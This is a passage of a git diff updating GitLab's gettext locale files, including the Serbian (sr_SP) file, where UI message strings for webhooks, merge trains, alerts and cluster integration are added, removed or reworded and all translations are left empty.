+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27319,21 +28129,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27343,6 +28153,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27661,10 +28474,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27673,6 +28486,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27682,6 +28501,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27718,9 +28540,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27754,13 +28573,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27844,10 +28663,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28060,6 +28879,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28135,7 +28957,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28252,6 +29074,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28381,6 +29206,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28684,12 +29512,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28849,6 +29671,12 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "group"
msgstr ""
@@ -28894,9 +29722,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28939,6 +29764,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29089,9 +29917,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29104,6 +29938,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29176,9 +30013,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29212,12 +30046,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29299,19 +30127,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29527,6 +30355,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29572,9 +30403,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29692,6 +30520,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29710,6 +30541,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29773,6 +30607,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index 9a846913a66..0bd37acc6bf 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:49\n"
+"PO-Revision-Date: 2020-09-04 23:10\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -58,13 +58,13 @@ msgstr[2] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -73,6 +73,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -343,6 +346,9 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -379,6 +385,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -439,6 +448,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -466,7 +478,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -553,9 +565,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -574,6 +583,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -583,6 +595,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -700,6 +724,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -727,6 +754,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -742,6 +772,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -820,6 +853,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -853,6 +889,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -862,7 +901,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -907,6 +961,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1123,15 +1180,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1195,7 +1243,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1213,6 +1261,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1315,6 +1366,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1426,6 +1480,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1459,12 +1516,6 @@ msgstr[2] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1579,6 +1630,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1591,6 +1645,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1603,6 +1660,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1882,6 +1942,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1897,6 +1960,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2125,6 +2191,9 @@ msgstr[2] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2155,7 +2224,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2212,9 +2281,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2227,6 +2293,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2269,16 +2338,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2308,7 +2374,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2407,6 +2473,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2554,6 +2623,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2620,6 +2692,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2692,9 +2767,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2836,13 +2920,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2869,12 +2956,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2953,6 +3046,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3172,6 +3268,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3184,6 +3283,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3199,9 +3301,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3310,7 +3409,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3322,9 +3421,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3337,6 +3433,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3598,7 +3697,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3676,6 +3775,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3802,7 +3904,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3916,6 +4018,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3985,13 +4090,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4186,6 +4294,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4360,6 +4471,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4393,10 +4507,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4417,7 +4531,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4603,9 +4717,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4831,7 +4942,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4999,9 +5110,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5107,6 +5224,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5140,19 +5260,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5200,13 +5326,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5224,6 +5353,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5263,15 +5395,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
